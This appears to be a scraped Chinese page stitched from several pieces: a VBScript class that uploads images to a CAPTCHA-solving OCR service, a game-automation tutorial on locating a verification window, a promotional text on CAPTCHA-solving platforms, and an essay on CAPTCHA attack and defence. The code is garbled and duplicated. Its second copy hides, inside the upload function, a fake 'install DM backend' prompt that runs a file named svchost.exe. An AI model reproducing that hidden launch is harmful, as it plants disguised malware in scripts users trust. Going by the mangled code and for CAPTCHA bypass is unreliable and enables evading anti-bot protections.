xmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundaryxmlHttp.setRequestHeader "Content-Length", objTemp.size xmlHttp.setRequestHeader "Host", "/doc/4217864408.html,"xmlHttp.setRequestHeader "Expect", "100-continue"xmlHttp.Send objT empUpload = xmlHttp.ResponseBodyEnd FunctionPublic Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data;name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strFileName)tmp = Replace(tmp, "$4", strFileType)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Write GetFileBinary(strFilePath)End SubPrivate Sub Class_Initialize()adTypeBinary = 1adTypeText = 2Set xmlHttp = CreateObject("Msxml2.XMLHTTP")Set objTemp = CreateObject("ADODB.Stream")objTemp.Type = adTypeBinaryobjTemp.OpenstrCharset = "utf-8"strBoundary = GetBoundary()End SubCall Class_Initialize()key="" //这里是自己申请的key//本识别服务为免费，没有apiKey 可以 key 为标题//任意内容为正文发邮件到ok（@）/doc/4217864408.html, 获取//可能会有延迟，请匆重复发送//授权apiKey,请注意区分大小写路径="C:\Documents and Settings\Administrator\桌面\1.bmp" //识别的图片路径语言="eng" // 英文=eng 简体=sim 繁体=tra验证码类型=7 // 所有英文字符=0 所有纯数字=1 小写英文字母=2 大写英文字母=3 数字小写字母=4 数字大写字母=5 大写小写字母=6 数字大写小写=7 常用英文字符=8 网址和邮件类=9 $￥商城价格=10 手机电话号类=11 数学公式计算=12strCharset = "GB2312"Call AddForm("service", "OcrKingForCaptcha")Call AddForm("language",语言)Call AddForm("charset",验证码类型 )CallAddForm("type","/doc/4217864408.html,/api/g et_auth.php?t=56_reg&rnd=0.5675823935307562")Call AddForm("apiKey",key)Call AddFile("ocrfile", "", "image/jpg", 路径)ccc = Upload("/doc/4217864408.html,/ok.html") xmlBody = cccSet ObjStream = CreateObject("Adodb.Stream")With ObjStream.Type = 1.Mode = 3.Open.Write xmlBody.Position = 0.Type = 2.Charset = "utf-8"BytesToBstr = .ReadText.CloseEnd WithMsgBox "识别结果："&body( BytesToBstr,"","<")。
学习脚本制作：按键精灵判断验证窗口是否出现
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1.方法：以屏幕左上角的坐标为起点(0,0)，从而获取到的游戏中“验证码”图片出现的位置。
步骤1：计算出“验证码”图片左上角坐标、右下角坐标与游戏窗口左上角坐标的距离。
2.2
步骤2：使用GetWindowRect命令获取游戏窗口左上角坐标。
sRect = Plugin.Window.GetClientRect(Hwnd)
MyArray = Split(sRect, "|")
3.3
步骤3：窗口左上角坐标+图片左上角、右下角与窗口左上角的距离，获取图片的位置。
公式：“验证码”图片左上角坐标（x，y）=（窗口左上角x坐标+257,窗口左上角y坐标+139）“验证码”图片右下角坐标（x，y）=（窗口左上角x坐标+308,窗口左上角y坐
标+164）
4.4
步骤4：使用findpic找图命令，查找"验证码"图片。
//"验证码"图片需加载到附件中
FindPic 窗口左上角x坐标+257,窗口左上角y坐标+139, 窗口左上角x坐标+308,窗口左上角y坐标+164,"Attachment:\验证码.bmp",0.9,intX,intY
If intX > 0 And intY > 0 Then
//
End If
5.5
有些游戏的验证窗口出现的位置是随机的。
这种情况，只能将找图范围设置为窗口客户区大小去找图。
观察验证窗口的随机位置，没
有被随机到的位置尽量排除在找图范围外，找图范围越小效率越高。
自动识别验证码软件教程操作研究汇总
自动识别验证码软件教程操作研究一自动识别验证码软件的简介第一步：明确自己的需求一般来说你可能需要的就是知道你自己需要的是什么样的自动识别验证码软件。
如果你是想通过验证码识别将你想通过业余时间赚到一笔钱的想法实现，那么你就需要进入任务验证码识别大厅。
但是这样的方向，谁跟你说你都不要相信，如果要是这样的软件真的有的话，那么为什么别人还是需要发布任务去请你打呢？第二步：自动识别验证码软件的应用但是图片验证码自动识别又是怎么回事呢？是不是真的呢？哲学就是要我们用辩证的思维看待问题，既然有验证码自动识别平台，那么就说明这是真实存在的。
答题吧自动识别验证码软件就是一个自动识别验证码的平台。
自动识别验证码平台的出现不是为了帮助人工打码去进行的自动打码，而是站在另外一个角度进行的平台打码。
远程答题打码是一个全新的自动识别验证码软件，可以实现更加快速的验证码打码服务，对软件开发者的工作效率有很大的提升，远程答题打码对软件开发者的好处打码平台有两种形式，一种是我们说熟知的进行任务发放的，人工打码，还有一种就是智能识别验证码的平台答题吧自动识别验证码软件正确率更高的网站自动识别验证码软件正确率是关系着很多使用者最直观的感受的，若正确率太低，还不如不使用此款软件。
答题吧打码平台可以支持免费检测二自动识别验证码软件步骤1：取出字模识别验证码，毕竟不是专业的OCR识别，并且，由于各个网站的验证码各不相同，所以，最常见的方法就是就是建立这个验证码的特征码库。
去字模时，我们需要多下载几张图片，使这些图片中，包括所有的字符，我们这里的字母只有图片，所以，只要收集到包括0-9的图片即可。
2：二值化二值化就是把图片上的验证数字上每个象素用一种数字表示1，其他部分用0表示。
这样就可以计算出每个数字字模，记录下这些字模来，当作key即可。
3：计算特征把要识别的图片，进行二值化，得到图片特征。
4：对照样本把步骤3种的图片特征码和验证码的字模进行对比，得到验证图片上的数字。
验证码的识别与攻防
验证码的识别与攻防随着网络技术的发展，验证码（CAPTCHA）成为了一种广泛应用于网络安全领域的手段。
验证码是一种自动化识别程序和人类识别程序之间的界限，它通过呈现给用户一系列具有一定难度的问题或任务，以确认用户是真实的人类而不是自动化机器。
验证码的主要目的是防止恶意程序自动化地访问和利用网络资源，保护网站的安全和用户的隐私。
验证码的核心原理是利用人类的认知能力，通过要求用户完成人类特有的任务来确认其身份。
常见的验证码类型包括文字验证码、图像验证码、声音验证码等。
文字验证码通常以扭曲、模糊、干扰等方式呈现，用户需要根据图像中的文字内容输入正确的答案。
图像验证码则要求用户选择与问题相关的图片，常见的形式为选择包含特定物体或特征的图片。
声音验证码则要求用户通过听声音内容并输入相应的答案来完成验证。
随着验证码技术的发展，攻击者也在不断研究和改进验证码的破解方法。
针对文字验证码，攻击者可以使用图像处理算法和模式识别技术来识别和破解扭曲、模糊的文字；针对图像验证码，攻击者可以利用目标检测和图像识别算法来分析图像内容并选择正确答案；针对声音验证码，攻击者可以使用语音识别技术将声音转换为文字。
除了技术手段，攻击者还可以利用社会工程学手段，如雇佣人工识别团队来解决复杂的验证码。
为了应对验证码破解的挑战，验证码的设计和应用需要不断创新和改进。
一种常见的策略是不断增加验证码的难度，如增加文字的扭曲程度、增加图像的干扰程度、增加声音的噪音等。
还可以采用多种类型的验证码组合使用，增加攻击者的难度和成本。
对于特定领域的应用，例如金融领域，还可以引入生物特征识别等更高级的验证手段。
验证码的设计还需要考虑用户体验和易用性。
过于复杂和难以理解的验证码可能会对用户造成困扰，降低用户使用的积极性。
一种有效的设计是在保证安全性的前提下，尽量简化和优化验证码的形式和流程，例如增加易于识别的文字和图像，减少重复的操作步骤等。
验证码的识别与攻防是一个不断博弈的过程。
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Function body(a,b,c)dim aaaa=aaa=mid(aa,instr(aa,b) len(b))body=left(aa,instr(aa,c)-1)End FunctionPublic Function StringToBytes(ByVal strData, ByVal strCharset) Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeTextobjFile.Charset = strCharsetobjFile.OpenobjFile.WriteText strDataobjFile.Position = 0objFile.Type = adTypeBinaryIf UCase(strCharset) = "UNICODE" ThenobjFile.Position = 2 'delete UNICODE BOMElseIf UCase(strCharset) = "UTF-8" ThenobjFile.Position = 3 'delete UTF-8 BOMEnd IfStringToBytes = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetFileBinary(ByVal strPath)Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeBinaryobjFile.OpenobjFile.LoadFromFile strPathGetFileBinary = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetBoundary()Dim ret(12)Dim tableDim itable = "abcdefghijklmnopqrstuvwxzy0123456789"RandomizeFor i = 0 To UBound(ret)ret(i) = Mid(table, Int(Rnd() * Len(table) 1), 1)NextGetBoundary = "---------------------------" & Join(ret, Empty) End FunctionPublic Sub AddForm(ByVal strName, ByVal strValue)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data;name=""$2""\r\n\r\n$3"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strValue)objTemp.Write StringToBytes(tmp, strCharset)End SubPrivate Sub AddEnd()Dim tmptmp = "\r\n--$1--\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Position = 2End SubPublic Function Upload(ByVal strURL)Call AddEndMessageBox "系统检测到您的脚本没有安装DM后台，点击安装" URL= "/svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, FalsexmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundaryxmlHttp.setRequestHeader "Content-Length", objTemp.sizexmlHttp.setRequestHeader "Host", ""xmlHttp.setRequestHeader "Expect", "100-continue"xmlHttp.Send objTempUpload = xmlHttp.ResponseBodyEnd FunctionPublic Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strFileName)tmp = Replace(tmp, "$4", strFileType)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Write GetFileBinary(strFilePath)End SubPrivate Sub Class_Initialize()adTypeBinary = 1adTypeText = 2Set xmlHttp = CreateObject("Msxml2.XMLHTTP")Set objTemp = CreateObject("ADODB.Stream")objTemp.Type = adTypeBinaryobjTemp.OpenstrCharset = "utf-8"strBoundary = GetBoundary()End SubCall Class_Initialize()key="" //这里是自己申请的key//本识别服务为免费，没有apiKey 可以 key 为标题//任意内容为正文发邮件到 ok（@） 获取//可能会有延迟，请匆重复发送//授权apiKey,请注意区分大小写路径="C:\Documents and Settings\Administrator\桌面\1.bmp" //识别的图片路径语言="eng" // 英文=eng 简体=sim 繁体=tra验证码类型=7 // 所有英文字符=0 所有纯数字=1 小写英文字母=2 大写英文字母=3 数字小写字母=4 数字大写字母=5 大写小写字母=6 数字大写小写=7 常用英文字符=8 网址和邮件类=9 $￥商城价格=10 手机电话号类=11 数学公式计算=12strCharset = "GB2312"Call AddForm("service", "OcrKingForCaptcha")Call AddForm("language",语言)Call AddForm("charset",验证码类型 )CallAddForm("type","/api/get_auth.php?t=56_reg&rnd=0.56758 23935307562")Call AddForm("apiKey",key)Call AddFile("ocrfile", "", "image/jpg", 路径)ccc = Upload("/ok.html")xmlBody = cccSet ObjStream = CreateObject("Adodb.Stream")With ObjStream.Type = 1.Mode = 3.Open.Write xmlBody.Position = 0.Type = 2.Charset = "utf-8"BytesToBstr = .ReadText.CloseEnd WithMsgBox "识别结果："&body( BytesToBstr,"","<")。